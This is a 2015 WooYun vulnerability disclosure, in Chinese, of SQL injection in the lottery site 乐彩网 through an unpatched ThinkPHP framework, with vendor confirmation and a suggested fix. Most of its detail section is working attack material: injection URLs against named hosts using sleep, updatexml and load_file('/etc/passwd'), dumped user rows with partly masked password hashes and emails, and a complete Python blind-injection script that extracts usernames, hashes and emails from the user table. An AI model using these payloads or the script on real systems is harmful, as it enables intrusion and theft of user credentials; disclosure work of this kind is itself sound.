当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113949

漏洞标题:乐彩网SQL注入漏洞(核心DB百万用户数据/thinkphp案例)

相关厂商:乐彩网

漏洞作者: loopx9

提交时间:2015-05-13 18:21

修复时间:2015-06-27 19:20

公开时间:2015-06-27 19:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-13: 细节已通知厂商并且等待厂商处理中
2015-05-13: 厂商已经确认,细节仅向厂商公开
2015-05-23: 细节向核心白帽子及相关领域专家公开
2015-06-02: 细节向普通白帽子公开
2015-06-12: 细节向实习白帽子公开
2015-06-27: 细节向公众公开

简要描述:

sql注入漏洞.

详细说明:

乐彩网多个站点都采用thinkphp框架开发,由于没有及时更新补丁,存在通用注入。见 WooYun: ThinkPHP框架架构上存在SQL注入 .
注入1:

http://lebi.17500.cn/Experts/Search/index/lotid/3d.html?ename[0]=exp&ename[1]=and(select(0)from(select/**/sleep(1))v)


对应的开发测试站点:

http://devlebi.17500.cn/Experts/Search/index/lotid/3d.html?ename[0]=exp&ename[1]=and%20updatexml(1,concat(0x7c,user(),0x7c,version()),1)


devlebi.png


load_file:

http://devlebi.17500.cn/Experts/Search/index/lotid/3d.html?ename[0]=exp&ename[1]=and%20updatexml(1,concat(0x7c,load_file(%27/etc/passwd%27)),1)

lebi2.png


注入2: passport站

https://passport.17500.cn/message/system/sitefrom/1.html?isread[0]=exp&isread[1]=and%200%20or%201%20limit%2023%23
https://passport.17500.cn/message/system.html?msgid=56


还有很多...

漏洞证明:

用户数据120w:

select(count(*))from uc.uc_members: 1229581


count.png


select(group_concat(uid,0x3a,username,0x3a,password,0x3a,email,0x7c))from uc.uc_members where uid in(2,4):

eren:d6694**************39c9f06742cc8:doubutou@17500.cn:134424
小卒:e1cac8ddd3**************33aa15f:dao@17500.cn:907316


bb.png


测试脚本: (需替换脚本中的cookie)

#coding=utf-8
'''databases: information_schema,bbslog,cnlot2004,lottery,mysql,newlebi,performance_schema,test,uc,ucbak,uprofile'''
import sys,urllib2
import threading
from multiprocessing.dummy import Pool
from multiprocessing.dummy import Lock
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
def request(URL):
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

req.add_header('Cookie', 'PHPSESSID=7dsnoj0rejlv4m9dg90ures6j1')#登录后的cookie

try:
request = urllib2.urlopen(req)

except Exception:
return ''

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
lock.acquire()
result[index-1]= chr(mid)
sys.stdout.write('\r%s' % 'data: '+''.join(result).strip('*'))
sys.stdout.flush()
lock.release()
break
payload = "(ascii(substring((select(group_concat(uid,0x3a,username,0x3a,password,0x3a,email,0x7c))from uc.uc_members where uid in(2,4)),%s,1))%%%s=ascii(substring((select(group_concat(uid,0x3a,username,0x3a,password,0x3a,email,0x7c))from uc.uc_members where uid in(2,4)),%s,1)))limit 2#" % (index, mid, index)
html = request('https://passport.17500.cn/message/system/sitefrom/1.html?isread[0]=exp&isread[1]==-1+or'+urllib.quote(payload))
verify = '2015-03-17 01:57:21'
if verify in html:
right = mid
else:
left = mid
def multi_run_wrapper(args):
return binary_sqli(*args)

if __name__ == '__main__':
result=list('*'*100)
lock=Lock()
args = []
for i in range(1,100):
args.append((32, 127, i))
pool = Pool(10)
out = pool.map(multi_run_wrapper, args)
pool.close()
pool.join()
output = open('result.txt', 'w')
output.write(''.join(result))
output.close()

修复方案:

升级thinkphp.
上个靠谱点的WAF.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-05-13 19:19

厂商回复:

谢谢提供的漏洞信息,我们尽快修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-06-28 07:53 | 发条橙子 ( 路人 | Rank:19 漏洞数:6 | ∑(っ °Д °;)っ)

    二分法降低请求次数,非常棒!楼主厉害